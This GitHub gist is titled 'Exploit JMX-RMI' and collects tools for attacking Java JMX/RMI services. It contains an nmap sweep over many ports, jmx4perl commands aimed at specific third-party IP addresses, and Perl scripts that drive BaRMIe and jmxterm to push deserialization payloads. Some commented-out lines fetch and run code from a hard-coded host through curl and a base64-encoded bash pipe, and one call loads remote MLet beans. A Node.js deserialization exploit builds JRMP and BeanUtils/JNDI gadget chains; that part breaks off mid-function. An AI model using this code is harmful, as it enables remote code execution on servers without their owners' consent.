Skip to content

Instantly share code, notes, and snippets.

@dbiesecke
Last active July 15, 2024 18:02
Show Gist options
  • Save dbiesecke/8bdce1b48a636e47c08d07e32d2bef16 to your computer and use it in GitHub Desktop.
Save dbiesecke/8bdce1b48a636e47c08d07e32d2bef16 to your computer and use it in GitHub Desktop.
jmx-rmi

Exploit JMX-RMI

Vuln-Scan

  • Nmap : nmap --append-output -oX $HOME/Scans/nmap-new.xml --open -Pn -p 2010,8009,1098,4444,7001,99,1030,1035,1090,1098,1099,1100,1101,1102,1103,1129,1199,1234,1440,2199,2809,3273,3333,3900,5520,5521,5580,5999,6060,6789,6996,7700,7800,7801,7878,7890,8050,8051,8085,8091,8205,8303,8642,8686,8701,8889,8890,8901,8902,8903,8999,9001,9003,9004,9005,9050,9099,9300,9500,9711,9809,9810,9811,9812,9813,9814,9815,9875,9910,9991,10098,10099,10162,11001,11099,11333,12000,13013,14000,15000,15001,15200,16000,17200,18980,20000,23791,26256,31099,32913,33000,37718,45230,47001,47002,50050,50500,50501,50502,50503,50504 --version-all -sV --script='jdwp-info,rmi-*' -iL /tmp/jboss-good -v

Install

cpanm install -n Term::ReadKey 
cpanm PJB/Term-Clui-1.70.tar.gz
cpanm install \
JSON::XS \
Term::ReadLine::Gnu \
LWP::Protocol::https \
XML::LibXML
cpanm -nf JMX::Jmx4Perl 

SSL/Proxy Bypass

  • Easy with jolokia

    jmx4perl 'http://172.93.48.216:9000/jolokia' --target service:jmx:rmi:///jndi/rmi://221.228.205.175:1099/jmxrmi list   
    
  • Check for "jmxrmi" exploit

    jmx4perl 'http://172.93.48.216:9000/jolokia' --target service:jmx:rmi:///jndi/rmi://94.130.168.200:1099/jmxrmi list DefaultDomain:type=MLet
    

Div

  • Some handy alias

    alias jmx4perl="docker run --rm -it -v ~/.j4p:/root/.j4p jolokia/jmx4perl jmx4perl"
    alias jolokia="docker run --rm -it -v `pwd`:/jolokia jolokia/jmx4perl jolokia"
    alias j4psh="docker run --rm -it -v ~/.j4p:/root/.j4p jolokia/jmx4perl j4psh"
    

BaRMI

cat /tmp/msf-db-rhosts-20181029-13031-1cy0tl6 | parallel brut-rmi {}:1099 2

JMS

Attack JMX/RMI/JNDI

CVE-2017-12149 JBOOS AS 6.X

More Infos: Link Dork: Shodan intitle:"Welcome to JBoss AS"

#!/usr/bin/perl
use FindBin qw($Bin);
my $jar = "$Bin/BaRMIe_v1.01.jar";
die("jmxterm not found!") if( !(-f $jar));
use Expect::Simple;
die("ERROR!\n\n$0 <host:port> [attackmode]\n\n") if (@ARGV <1);
my $arg = shift;
my $payload = shift;
$payload = 1 if(@ARGV < 2);
# my $command = 'java -Xrunjdwp:transport=dt_socket,suspend=y,server=162.210.173.220:2011';
# my $command = 'curl 162.210.173.220:8080/brut-rmi';
my $command = 'ping -c 6 162.210.173.220';
# my $command = 'sh -c $@|sh . echo ping 162.210.173.220';
#my $command = 'bash -c {echo,Y3VybCAxNjIuMjEwLjE3My4yMjA6ODA4MC9icnV0LXJtaQ==}|{base64,-d}|{bash,-i}';
my ($host,$port) = split(/:/,$arg);
$port = 1099 if($port < 64000);
print "$host\t$port\n";
my $cmd = "java -jar $jar -attack $host $port" ;
my $obj = new Expect::Simple {
Cmd => $cmd,
Prompt => [ -re => '[}):]+ $' , "Enumerating 1 target(s)...","Select a payload to use" ,"Select an attack to execute (b to back up, q to quit):" ,"Select a payload to use"],
DisconnectCmd => 'exit',
Verbose => 1,
Debug => 0,
Timeout => 15,
RawPty => 1
};
# sleep(3);
$obj->send( $payload );
if ( &looping("Select a payload to use") eq true) {
}
# $text = $obj->after;
# print "$text\n";
sub looping(){
my $string = shift;
while() {
sleep(1);
print "$string\n";
if($obj->match_str, $string) {
# my $text = $obj->after;
my $text = $obj->before;
print "$text\n";
return true;
}
}
}
# }
#
# sleep(3);
# # my $text = $obj->after;
# print "$text\n";# $obj->send( "1" );
my $counter = 0;
while($counter != 2) { $counter++;
if ( &looping("Select a payload to use") eq true) {
$obj->send( 1 );
# $text = $obj->after; print "$text\n";
if ( &looping("Select a payload to use") eq true) {
# $text = $obj->after; print "$text\n";
$obj->send( 1 );
#sleep(1);$obj->send( "1" );
# $text = $obj->after; print "$text\n";
if ( &looping("a) Try all available deserialization payloads") eq true) {
$obj->send( a );
if ( &looping("Enter an OS command to execute") eq true) {
# $obj->send( 'wget 0b662d10.ngrok.io' );
$obj->send( $command );
while($counter != 2) {
if ( &looping("a) Try all available deserialization payloads") eq true) {
# if ( &looping("Select a payload to use") eq true) {
$obj->send( a );
# }
}
if ( &looping("a) Try all available deserialization payloads") eq true) {
# if ( &looping("Select a payload to use") eq true) {
$obj->send( a );
# }
};
if ( &looping("Enter an OS command to execute") eq true) {
$obj->send( $command);
};
if ( &looping("Payload delivered, continue trying payloads") eq true) {
$obj->send( A );
sleep(2);
};
# if ( &looping("Payload delivered, continue trying payloads") eq true) {
# $obj->send( A );
# };
if ( &looping("Select a payload to use ") eq true ) {
# sleep(5);
$obj->send( 'q' );
};
# my $text = $obj->after;
# # print $text."\n";
$counter = 2;
# }
}
# if ( &looping("a) Try all available deserialization payloads") eq true) {
# if ( &looping("Select a payload to use") eq true) {
# $obj->send( "a" );
# }
# }
}
}
}
}
}
#Select a payload to use
# sleep(5);
#
# $obj->send( "Y" );
# &looping();
# while (prompt( -in => *STDIN , -out => *STDOUT )) {
# # next if (!($_));
# my $res = $_;
# chomp($res);
# warn $@ if $@;
#
# $obj->send( $res );
# my $text = $obj->before;
#
# print STDERR "$text";
#
# }
#
#
# close JMX;
#!/usr/bin/perl
use FindBin qw($Bin);
my $jar = "$Bin/jmxterm.bin";
if( !(-f $jar)) {
die("jmxterm not found!");
}
#
#
use IO::Prompter;
use Expect::Simple;
die("ERROR!\n\n$0 <host> <port>\n\n") if (@ARGV <2);
my $host = shift;
my $port = shift;
# my $lhost = '178.162.209.171';
# my $lport = '28763';
my $cmd = "$jar -- --nox11 -q --noprogress";
my $obj = new Expect::Simple {
Cmd => $cmd,
Prompt => [ -re => '\$>' , -re => '[\s]?>[\s ]?' , "Stage terminated.\n", "Disconnecting."],
DisconnectCmd => 'exit',
Verbose => 1,
Debug => 0,
Timeout => 10,
RawPty => 1
};
while (prompt( -in => *STDIN )) {
next if (!($_));
my $res = $_;
warn $@ if $@;
$obj->send( $res );
my $text = $obj->before;
print "[X]\t $res\n$text\n";
}
close JMX;
#!/usr/bin/perl
use FindBin qw($Bin);
use File::Temp qw/ :mktemp /;
my $jar = "$Bin/jmxterm-1.0.0-uber.jar";
die("jmxterm not found!") if( !(-f $jar));
die("ERROR!\n\n$0 <host:port> \n\n") if (@ARGV <1);
my $arg = shift;
my ($host,$port) = split(/:/,$arg);
$port = 1099 if($port < 64000);
# print "$host\t$port\n";
# open JMX, "| java -jar $jar -n";
# print JMX "help \n";
# &execJmx("run -d DefaultDomain -b Users:type=UserDatabase,database=UserDatabase createUser monitor testting");
my (@version) = &execJmx("get -b java.lang:type=OperatingSystem Name Arch Version -n -s -l -") or die("error on connect $?");
print "[X] Connected $host:$port\t@version\n";
my (@mlet) = &execJmx("run -b DefaultDomain:type=MLet getMBeansFromURL http://162.210.173.220:8080/");
# if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet $?\n"; }
if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet\n"; }
(@mlet) = &execJmx("domains");
if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet\n"; }
(@mlet) = &execJmx("beans");
if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet\n"; }
#{
# print "[X] $_\n";
# }
exit;
# print JMX "open $host:$port\n";
# print "[X] --- DOMAINS --- \n";
# print JMX "domains\n";
# print "[X] --- BEANS --- \n";
# print JMX "run -b DefaultDomain:type=MLet getMBeansFromURL http://home.forward.pw:80/mlet/";
# print JMX "run -d DefaultDomain -b Users:type=UserDatabase,database=UserDatabase createUser monitor testting";
# print JMX "close\n";
# close JMX;
# ($fh, $file) = mkstemps( "tmpfileXXXXXX", $suffix);
sub execJmx(){
my $command = shift;
my ($fh, $file) = mkstemp( "/tmp/tmpfileXXXXX" );
my $cmd = "echo $command | java -jar $jar -o $file -n -l $host:$port -e 2>/dev/null" ; # anything to stdout
my $ret = `$cmd`;
# my $exit = system( $cmd ) ;
if($?) { return (-1,"$?") }
open(FILE,$file);
my @input = <FILE>;
close(FILE);
# while(<READER>){
# print "$_\n";
# }
#print "@input\n" ;
system("rm $file");
return (@input);
# print "Exit:$exit\t File:$file\n";
# }
}
// primitive types
// * B byte
// * C char
// * D double
// * F float
// * I int
// * J long
// * L class or interface
// * S short
// * Z boolean
// * [ array
var S = require('string');
var XMLHttpRequest = require("xmlhttprequest").XMLHttpRequest;
var oReq = new XMLHttpRequest();
var lastreq = "n/a";
var net = require('net');
var util = require('util')
require('yargs')
var argv = process.argv;
require('yargs')
.usage('$0 <exploit|generate> <host> [options]')
.option('shost',{ default: "162.210.173.220" , describe: "Host who serve the payload" } )
.option('sport',{ default: "5555" , describe: "Port on host who serve the payload" } )
.option('service',{ default: "registry" , describe: "use 'registry' or " } )
.option('debug',{ default: false , describe: "turn debug output on" } )
.option('payload',{ default: "jrmp_client" , describe: "use 'jrmp_client' or 'beanutils_jndi'" } )
.command('exploit <host> [url]', 'Attack Host', (yargs) => {
yargs.positional('url', {
type: 'string',
// default: 'ldap://' + argv.shost + ':'+ argv.sport +'/obj',
describe: 'ldap to serve payload'
})
}, function (argv) {
var host = getHostFromHoststr(argv.host);
var port = parseInt(getPortFromHoststr(argv.host));
// getPortFromHoststr(argv.host);
var url = 'ldap://' + argv.shost + ':'+ argv.sport +'/obj';
if(argv.url) {
url = argv.url
if (argv.debug === true) { console.log(argv.shost , '\tLDAP:', url, '\tHost '+ host ); }
}
lastreq = host + ":" + port + '\t' + argv.service + '\t' + argv.payload;
// console.log(lastreq);
go_jmx_cli(host,port,argv.service,argv.payload,argv.shost,argv.sport);
return;
})
.help()
.argv
function Null() {
}
function Boolean(val) {
this.isTrue = val == true;
this.typeCode = 'Z';
this.primitive = true;
this.write = function(out) {
if (val == true) {
out.writeByte(1)
} else {
out.writeByte(0);
}
}
}
function Byte(val) {
this.val = val;
this.typeCode = 'B';
this.primitive = true;
this.write = function(out) {
out.writeByte(val);
}
}
function Short(val) {
this.val = val;
this.typeCode = 'S';
this.primitive = true;
this.write = function(out) {
out.writeByte((val >> 8) & 0xFF);
out.writeByte(val & 0xFF);
}
}
function Char(val) {
this.val = val;
this.typeCode = 'C';
this.primitive = true;
this.write = function(out) {
out.writeByte((val >> 8) & 0xFF);
out.writeByte(val & 0xFF);
}
}
function Integer(val) {
this.val = val;
this.typeCode = 'I';
this.primitive = true;
this.write = function(out) {
out.writeByte((val >> 24) & 0xFF);
out.writeByte((val >> 16) & 0xFF);
out.writeByte((val >> 8) & 0xFF);
out.writeByte(val & 0xFF);
}
}
function Long(high, low) {
this.high = high;
this.low = low;
this.typeCode = 'J';
this.primitive = true;
this.write = function(out) {
out.writeByte((high >> 24) & 0xFF);
out.writeByte((high >> 16) & 0xFF);
out.writeByte((high >> 8) & 0xFF);
out.writeByte(high & 0xFF);
out.writeByte((low >> 24) & 0xFF);
out.writeByte((low >> 16) & 0xFF);
out.writeByte((low >> 8) & 0xFF);
out.writeByte(low & 0xFF);
}
}
function Float(val) {
this.val = val;
this.typeCode = 'F';
this.primitive = true;
this.write = function(out) {
throw "Unimplemented";
}
}
function Double(val) {
this.val = val;
this.typeCode = 'D';
this.primitive = true;
this.write = function(out) {
throw "Unimplemented";
}
}
function Array(type, vals) {
this.type = type;
this.vals = vals;
this.typeCode = '[';
this.primitive = false;
this.write = function(out) {
new Integer(vals.length).write(out);
for (var i = 0; i < vals.length; i++) {
vals[i].write(out);
}
}
}
function String(val) {
this.val = val;
this.primitive = false;
this.writeBytes = function(out) {
for (var i = 0; i < val.length; i++) {
out.writeByte(val.charCodeAt(i) & 0xFF);
}
}
this.writeChars = function(out) {
for (var i = 0; i < val.length; i++) {
out.writeChar(val.charCodeAt(i) & 0xFFFF);
}
}
this.writeUTF = function(out) {
var utf8b = this.encodeUTF();
for (var i = 0; i < utf8b.length; i++) {
out.writeByte(utf8b.charCodeAt(i) & 0xFF);
}
}
this.encodeUTF = function() {
// per
// http://ecmanaut.blogspot.de/2006/07/encoding-decoding-utf8-in-javascript.html
return unescape(encodeURIComponent(val));
}
}
function Enum(val) {
this.primitive = false;
}
function Class(name) {
this.primitive = false;
this.name = name;
}
function ObjectStreamField(name, val) {
this.name = name;
this.val = val;
this.unshared = false;
}
function ObjectStreamClass(name, serialHigh, serialLow, fields, opts) {
this.class = new Class(name);
this.superClass = null;
this.primitive = false;
this.proxy = false;
this.enum = false;
this.serialVersionHigh = serialHigh;
this.serialVersionLow = serialLow;
this.fields = fields;
for ( var key in opts) {
if (opts.hasOwnProperty(key)) {
this[key] = opts[key];
}
}
var SC_WRITE_METHOD = 0x01;
var SC_BLOCK_DATA = 0x08;
var SC_SERIALIZABLE = 0x02;
var SC_EXTERNALIZABLE = 0x04;
var SC_ENUM = 0x10;
this.write = function(out) {
out.writeUTF(name);
new Long(this.serialVersionHigh, this.serialVersionLow).write(out);
var flags = 0;
if ('writeExternal' in this) {
flags |= SC_EXTERNALIZABLE;
if (out.protocol != 1) {
flags |= SC_BLOCK_DATA;
}
} else {
flags |= SC_SERIALIZABLE;
}
if ('writeObject' in this) {
flags |= SC_WRITE_METHOD;
}
if (this.enum) {
flags |= SC_ENUM;
}
out.writeByte(flags);
new Short(this.fields.length).write(out);
for (var i = 0; i < this.fields.length; i++) {
var f = this.fields[i];
var tc = 0;
if ('typeString' in f) {
tc = f.typeString.charCodeAt(0);
} else {
tc = f.typeCode.charCodeAt(0);
}
out.writeByte(tc);
out.writeUTF(f.name);
if ('typeString' in f) {
out.writeTypeString(f.typeString);
}
}
}
this.getClassDataLayout = function() {
if ( this.superClass ) {
var r = this.superClass.getClassDataLayout();
r.push(this);
return r;
}
return [ this ];
}
this.writePrimitives = function(out, vals) {
var buf = new DataOutput([]);
for (var i = 0; i < this.fields.length; i++) {
if (!('typeString' in this.fields[i])) {
var v;
if ( this.fields[i].name in vals ) {
v = vals[this.fields[i].name];
}
else {
var tc = this.fields[i].typeCode;
if ( tc == 'I') {
v = new Integer(0);
} else if ( tc == 'Z' ) {
v = new Boolean(false);
} else if ( tc == 'B' ) {
v = new Byte(0);
} else if ( tc == 'S' ) {
v = new Short(0);
} else if ( tc == 'C' ) {
v = new Char(0);
} else if ( tc == 'L' ) {
v = new Long(0);
} else {
throw "Missing primitive value " + this.fields[i].name;
}
}
v.write(buf);
}
}
out.writeBytes(buf.out);
}
this.getObjectFieldDescriptors = function() {
var res = [];
for (var i = 0; i < this.fields.length; i++) {
if ('typeString' in this.fields[i]) {
res.push(this.fields[i]);
}
}
return res;
}
}
function Object(clazz, fieldVals) {
this.clazz = clazz;
this.typeCode = 'L';
this.values = fieldVals;
}
function DataOutput(out) {
this.out = out;
this.written = 0;
this.writeByte = function(b) {
this.out.push(b);
this.written++;
}
this.writeBytes = function(bs) {
this.out.push.apply(this.out, bs);
this.written += bs.length;
}
}
function ObjectHandles() {
this.handles = []
this.clear = function() {
}
this.assign = function(obj) {
if (obj == null || this.handles.indexOf(obj) < 0) {
return;
}
this.handles.push(obj);
}
this.lookup = function(obj) {
return this.handles.indexOf(obj);
}
}
function ObjectOutput(out, opts) {
var STREAM_MAGIC = 0xaced;
var STREAM_VERSION = 5;
var TC_BASE = 0x70;
var TC_NULL = 0x70;
var TC_REFERENCE = 0x71;
var TC_CLASSDESC = 0x72;
var TC_OBJECT = 0x73;
var TC_STRING = 0x74;
var TC_ARRAY = 0x75;
var TC_CLASS = 0x76;
var TC_BLOCKDATA = 0x77;
var TC_ENDBLOCKDATA = 0x78;
var TC_RESET = 0x79;
var TC_BLOCKDATALONG = 0x7A;
var TC_EXCEPTION = 0x7B;
var TC_LONGSTRING = 0x7C;
var TC_PROXYCLASSDESC = 0x7D;
var TC_ENUM = 0x7E;
var TC_MAX = 0x7E;
var baseWireHandle = 0x7e0000;
this.blockMode = true;
this.blockBuf = [];
this.blockPos = 0;
this.depth = 0;
this.handles = new ObjectHandles();
this.protocol = 2;
for ( var key in opts) {
if (opts.hasOwnProperty(key)) {
this[key] = opts[key];
}
}
this.writeHeader = function() {
new Short(STREAM_MAGIC).write(out);
new Short(STREAM_VERSION).write(out);
}
this.setBlockMode = function(bm) {
var obm = this.blockMode;
if (obm == bm) {
return obm;
}
this.flush();
this.blockMode = bm;
return obm;
}
this.flush = function() {
if (this.blockPos == 0) {
return;
}
if (this.blockMode) {
this.writeBlockHeader(this.blockPos);
}
out.writeBytes(this.blockBuf);
this.blockBuf = [];
this.blockPos = 0;
}
this.clear = function() {
this.handles.clear();
}
this.writeBlockHeader = function(len) {
if (len <= 0xFF) {
out.writeByte(TC_BLOCKDATA);
out.writeByte(len);
} else {
out.writeByte(TC_BLOCKDATALONG);
new Integer().write(out);
}
}
this.writeByte = function(b) {
if (this.blockMode) {
this.blockBuf.push(b);
this.blockPos += 1;
} else {
out.writeByte(b);
}
}
this.writeBytes = function(bs) {
if (this.blockMode) {
this.blockBuf += bs;
this.blockPos += bs.length;
} else {
out.writeBytes(bs);
}
}
this.writeNull = function() {
this.writeByte(TC_NULL);
}
this.writeHandle = function(handle) {
this.writeByte(TC_REFERENCE);
new Integer(baseWireHandle + handle).write(out);
}
this.writeClass = function(clazz, unshared) {
this.writeByte(TC_CLASS);
this.writeClassDesc(ObjectStreamClass.lookup(cl, true), false);
this.handles.assign(unshared ? null : cl);
}
this.writeClassDesc = function(desc, unshared) {
var handle;
if (desc == null) {
this.writeNull();
} else if (!unshared && (handle = this.handles.lookup(desc)) != -1) {
this.writeHandle(handle);
} else if (desc.proxy) {
this.writeProxyDesc(desc, unshared);
} else {
this.writeNonProxyDesc(desc, unshared);
}
}
this.writeProxyDesc = function(desc, unshared) {
this.writeByte(TC_PROXYCLASSDESC);
this.handles.assign(unshared ? null : desc);
var cl = desc.forClass();
var ifaces = cl.getInterfaces();
bout.writeInt(ifaces.length);
for (var i = 0; i < ifaces.length; i++) {
this.writeUTF(ifaces[i].getName(), true);
}
// empty annotation block
this.setBlockMode(true);
if ('annotateProxyClass' in this) {
this.annotateProxyClass(desc.class);
}
this.setBlockMode(false);
out.writeByte(TC_ENDBLOCKDATA);
this.writeClassDesc(desc.superClass, false);
}
this.writeNonProxyDesc = function(desc, unshared) {
this.writeByte(TC_CLASSDESC);
this.handles.assign(unshared ? null : desc);
desc.write(this);
// empty annotation block
this.setBlockMode(true);
if ('annotateClass' in this) {
this.annotateClass(desc.class);
}
this.setBlockMode(false);
out.writeByte(TC_ENDBLOCKDATA);
this.writeClassDesc(desc.superClass, false);
}
this.writeString = function(str, unshared) {
this.handles.assign(unshared ? null : str);
var utflen = unescape(encodeURIComponent(str)).length;
if (utflen <= 0xFFFF) {
this.writeByte(TC_STRING);
this.writeUTFLen(str, utflen);
} else {
this.writeByte(TC_LONGSTRING);
this.writeLongUTF(str, utflen);
}
}
this.writeUTF = function(str) {
this.writeUTFLen(str, unescape(encodeURIComponent(str)).length);
}
this.writeUTFLen = function(str, len) {
if (len > 0xFFFF) {
throw "Length exceeded";
}
new Short(len).write(this);
if (len == str.length) {
new String(str).writeBytes(this);
} else {
throw "Unimplemented (non-ASCII string)";
// process.stdout.write("hello: " + S(len + "\n" + str) );
}
}
this.writeLongUTF = function(str, len) {
new Long(len).write(this);
if (len == str.length) {
str.writeBytes(this);
} else {
throw "Unimplemented (non-ASCII string)";
}
}
this.writeEnum = function(en, desc, unshared) {
this.writeByte(TC_ENUM);
var sdesc = desc.getSuperDesc();
writeClassDesc((sdesc.forClass() == Enum.class) ? desc : sdesc, false);
this.handles.assign(unshared ? null : en);
this.writeString(en.name(), false);
}
this.writeArray = function(array, desc, unshared) {
this.writeByte(TC_ARRAY);
this.writeClassDesc(desc, false);
this.handles.assign(unshared ? null : array);
var ccl = desc.forClass().getComponentType();
if (ccl.isPrimitive()) {
array.write(this);
} else {
var len = array.length;
new Integer(len).write(this);
for (var i = 0; i < len; i++) {
writeObject0(objs[i], false);
}
}
}
this.writeObject = function(obj) {
this.writeObject0(obj, false);
}
this.writeObject0 = function(obj, unshared) {
var obm = this.setBlockMode(false);
this.depth++;
try {
if (obj instanceof Null) {
this.writeNull();
return;
} else if (!unshared && (h = this.handles.lookup(obj)) != -1) {
this.writeHandle(h);
return;
} else if (obj instanceof Class) {
this.writeClass(obj, unshared);
return;
} else if (obj instanceof ObjectStreamClass) {
this.writeClassDesc(obj, unshared);
return;
}
// writeReplace
if (obj instanceof String) {
this.writeString(obj.val, unshared);
} else if (obj instanceof Array) {
this.writeArray(obj, obj.clazz, unshared);
} else if (obj instanceof Enum) {
this.writeEnum(obj, obj.clazz, unshared);
} else {
this.writeOrdinaryObject(obj, obj.clazz, unshared);
}
} finally {
this.depth--;
this.setBlockMode(obm);
}
}
this.writeOrdinaryObject = function(obj, desc, unshared) {
this.writeByte(TC_OBJECT);
this.writeClassDesc(desc, false);
this.handles.assign(unshared ? null : obj);
if ('writeExternal' in desc && !desc.proxy) {
this.writeExternalData(obj, desc);
} else {
this.writeSerialData(obj, desc);
}
}
this.writeSerialData = function(obj, desc) {
var slots = desc.getClassDataLayout();
for (var i = 0; i < slots.length; i++) {
var slotDesc = slots[i];
if ('writeObject' in slotDesc) {
this.setBlockMode(true);
slotDesc.writeObject(this, obj, desc);
this.setBlockMode(false);
out.writeByte(TC_ENDBLOCKDATA);
} else {
this.defaultWriteFields(obj, slotDesc);
}
}
}
this.writeExternalData = function(obj, desc) {
if (this.protocol == 1) {
desc.writeExternal(this, obj);
} else {
this.setBlockMode(true);
this.setBlockMode(false);
out.writeByte(TC_ENDBLOCKDATA);
}
}
this.writeFatalException = function(ex) {
clear();
var oldMode = this.setBlockMode(false);
try {
this.writeByte(TC_EXCEPTION);
this.writeObject0(ex, false);
clear();
} finally {
this.setBlockMode(oldMode);
}
}
this.defaultWriteObject = function(obj, desc) {
this.setBlockMode(false);
this.defaultWriteFields(obj, desc);
this.setBlockMode(true);
}
this.defaultWriteFields = function(obj, desc) {
var cl = desc.clazz;
if (cl != null && obj != null && !cl.isInstance(obj)) {
throw new ClassCastException();
}
desc.writePrimitives(this,obj.values);
var objVals = desc.getObjectFieldDescriptors(obj);
for (var i = 0; i < objVals.length; i++) {
var fdesc = objVals[i];
if ( fdesc.name in obj.values ) {
this.writeObject0(obj.values[fdesc.name], fdesc.unshared);
} else {
this.writeObject0(new Null(), fdesc.unshared);
}
}
}
this.writeTypeString = function(type) {
if (type == null) {
this.writeNull();
} else if ((handle = this.handles.lookup(type)) != -1) {
this.writeHandle(handle);
} else {
this.writeString(type, false);
}
}
}
function encode_dgc_dirty(args) {
// Dgc.dirty
return encode_call(0, 2, 1, 4139157901, 2347927107, args);
}
function encode_registry_lookup(args) {
// Registry.lookup
return encode_call(0, 0, 2, 1142246857, 3571858399, args);
}
function encode_call(objIdHigh, objIdLow, methodId, methodHashHigh,
methodHashLow, args) {
var bytes = [];
var dos = new DataOutput(bytes);
new Integer(1246907721).write(dos); // Magic == JRMI
new Short(2).write(dos); // Version - 2
new Byte(76).write(dos); // SingleOpProtocol
new Byte(80).write(dos); // Type = Call
// this is the Connection/MarshalOutputStream setup for JRMP/RMI
var oos = new ObjectOutput(dos, {
'protocol' : 1,
'annotateClass' : function(cl) {
this.writeObject(new Null()); // location
},
'annotateProxyClass' : function(cl) {
this.writeObject(new Null()); // location
}
});
oos.writeHeader();
new Long(objIdHigh, objIdLow).write(oos); // objId
new Integer(0).write(oos); // UID - unique
new Long(0, 0).write(oos); // UID - time
new Short(0).write(oos); // UID - count
new Integer(methodId).write(oos);
new Long(methodHashHigh, methodHashLow).write(oos);
for (var i = 0; i < args.length; i++) {
oos.writeObject(args[i]);
}
oos.flush();
return bytes;
}
function encode_object(obj) {
var bytes = [];
var dos = new DataOutput(bytes);
var oos = new ObjectOutput(dos, {});
oos.writeHeader();
oos.writeObject(obj);
oos.flush();
return bytes;
}
function encode_hex(bytes) {
var hex = "";
for (var i = 0; i < bytes.length; i++) {
var b = bytes[i].toString(16);
if (b.length == 1) {
b = "0" + b;
}
hex += b;
}
return hex;
}
// from http://www.webtoolkit.info/javascript-base64.html
// LICENSE WARNING: the original function is licensed CC BY 2.0 UK
var B64_chrs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function encode_b64(bytes) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
while (i < bytes.length) {
chr1 = bytes[i++];
chr2 = bytes[i++];
chr3 = bytes[i++];
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output + B64_chrs.charAt(enc1) + B64_chrs.charAt(enc2)
+ B64_chrs.charAt(enc3) + B64_chrs.charAt(enc4);
}
return output;
}
function make_jrmp_client_payl(host, port) {
var objIdLow = Math.floor(Math.random() * 4294967295);
var objIdHigh = Math.floor(Math.random() * 4294967295);
return new Object(new ObjectStreamClass(
"sun.rmi.server.UnicastRef", 1922802161, 2643414530, [], {
'writeExternal' : function(out, obj) {
/*
((TCPEndpoint) ep).writeHostPortFormat(out);
out.writeUTF(host);
out.writeInt(port);
id.write(out);
out.writeLong(objNum);
out.writeInt(unique);
out.writeLong(time);
out.writeShort(count);
out.writeBoolean(isResultStream);
*/
out.writeUTF(host); // host
new Integer(port).write(out); // port
new Long(objIdHigh, objIdLow).write(out); // objId
new Integer(0).write(out); // UID - unique
new Long(0, 0).write(out); // UID - time
new Short(0).write(out); // UID - count
new Boolean(false).write(out); // isResultStream
}
}))
}
function make_beanutils_jndi_payl(beanutils_jndi_url) {
var brs = new ObjectStreamClass('javax.sql.rowset.BaseRowSet',
1137778085, 1304605152, [ {
'name' : 'concurrency',
'typeCode' : 'I'
}, {
'name' : 'escapeProcessing',
'typeCode' : 'Z'
}, {
'name' : 'fetchDir',
'typeCode' : 'I'
}, {
'name' : 'fetchSize',
'typeCode' : 'I'
}, {
'name' : 'isolation',
'typeCode' : 'I'
}, {
'name' : 'maxFieldSize',
'typeCode' : 'I'
}, {
'name' : 'maxRows',
'typeCode' : 'I'
}, {
'name' : 'queryTimeout',
'typeCode' : 'I'
}, {
'name' : 'readOnly',
'typeCode' : 'Z'
}, {
'name' : 'rowSetType',
'typeCode' : 'I'
}, {
'name' : 'showDeleted',
'typeCode' : 'Z'
}, {
'name' : 'URL',
'typeString' : 'Ljava/lang/String;'
}, {
'name' : 'asciiStream',
'typeString' : 'Ljava/io/InputStream;'
}, {
'name' : 'binaryStream',
'typeString' : 'Ljava/io/InputStream;'
}, {
'name' : 'charStream',
'typeString' : 'Ljava/io/Reader;'
}, {
'name' : 'command',
'typeString' : 'Ljava/lang/String;'
}, {
'name' : 'dataSource',
'typeString' : 'Ljava/lang/String;'
}, {
'name' : 'listeners',
'typeString' : 'Ljava/util/Vector;'
}, {
'name' : 'map',
'typeString' : 'Ljava/util/Map;'
}, {
'name' : 'params',
'typeString' : 'Ljava/util/Hashtable;'
}, {
'name' : 'unicodeStream',
'typeString' : 'Ljava/io/InputStream;'
}, ], {});
var rs = new ObjectStreamClass('com.sun.rowset.JdbcRowSetImpl',
3458652191, 1232323077, [ {
'name' : 'conn',
'typeString' : 'Ljava/sql/Connection;'
}, {
'name' : 'iMatchColumns',
'typeString' : 'Ljava/util/Vector;'
}, {
'name' : 'ps',
'typeString' : 'Ljava/sql/PreparedStatement;'
}, {
'name' : 'resMD',
'typeString' : 'Ljava/sql/ResultSetMetaData;'
}, {
'name' : 'rowsMD',
'typeString' : 'Ljavax/sql/rowset/RowSetMetaDataImpl;'
}, {
'name' : 'rs',
'typeString' : 'Ljava/sql/ResultSet;'
}, {
'name' : 'strMatchColumns',
'typeString' : 'Ljava/util/Vector;'
}, ], {
'superClass' : brs
});
var bc = new ObjectStreamClass(
"org.apache.commons.beanutils.BeanComparator", 3819014378,
1931650120, [ {
'name' : 'comparator',
'typeString' : 'Ljava/util/Comparator;'
}, {
'name' : 'property',
'typeString' : 'Ljava/lang/String;'
} ], {});
var rc = new ObjectStreamClass(
"java.util.Collections$ReverseComparator", 1678019312,
1397639888, [], {});
var pq = new ObjectStreamClass("java.util.PriorityQueue",
2497327284, 4215243441, [ {
'name' : 'size',
'typeCode' : 'I'
}, {
'name' : 'comparator',
'typeString' : 'Ljava/util/Comparator;'
} ], {
'writeObject' : function(out, obj, desc) {
var elems = obj.values['elements'];
var len = elems ? elems.length : 0;
obj.values['size'] = new Integer(len);
out.defaultWriteObject(obj, desc);
new Integer(len).write(out);
for (var i = 0; i < len; i++) {
out.writeObject(elems[i]);
}
}
});
var rso = new Object(rs, {
'dataSource' : new String(beanutils_jndi_url)
});
return new Object(pq, {
"elements" : [ rso, rso ],
"comparator" : new Object(bc, {
'comparator' : new Object(rc, {}),
'property' : new String('databaseMetaData')
})
});
}
function send(host, port, payl) {
var url = "http://" + host + ":" + port + "/";
if (argv.debug === true) { console && console.log && console.log("Sending payload to " + url); }
oReq.open("POST", url);
var arr = new ArrayBuffer(payl.length);
var byteArray = new Uint8Array(arr);
for (var i = 0; i < payl.length; ++i) {
byteArray[i] = payl[i];
}
const buf3 = Buffer.from(byteArray);
var client = new net.Socket();
client.connect(port, host, function() {
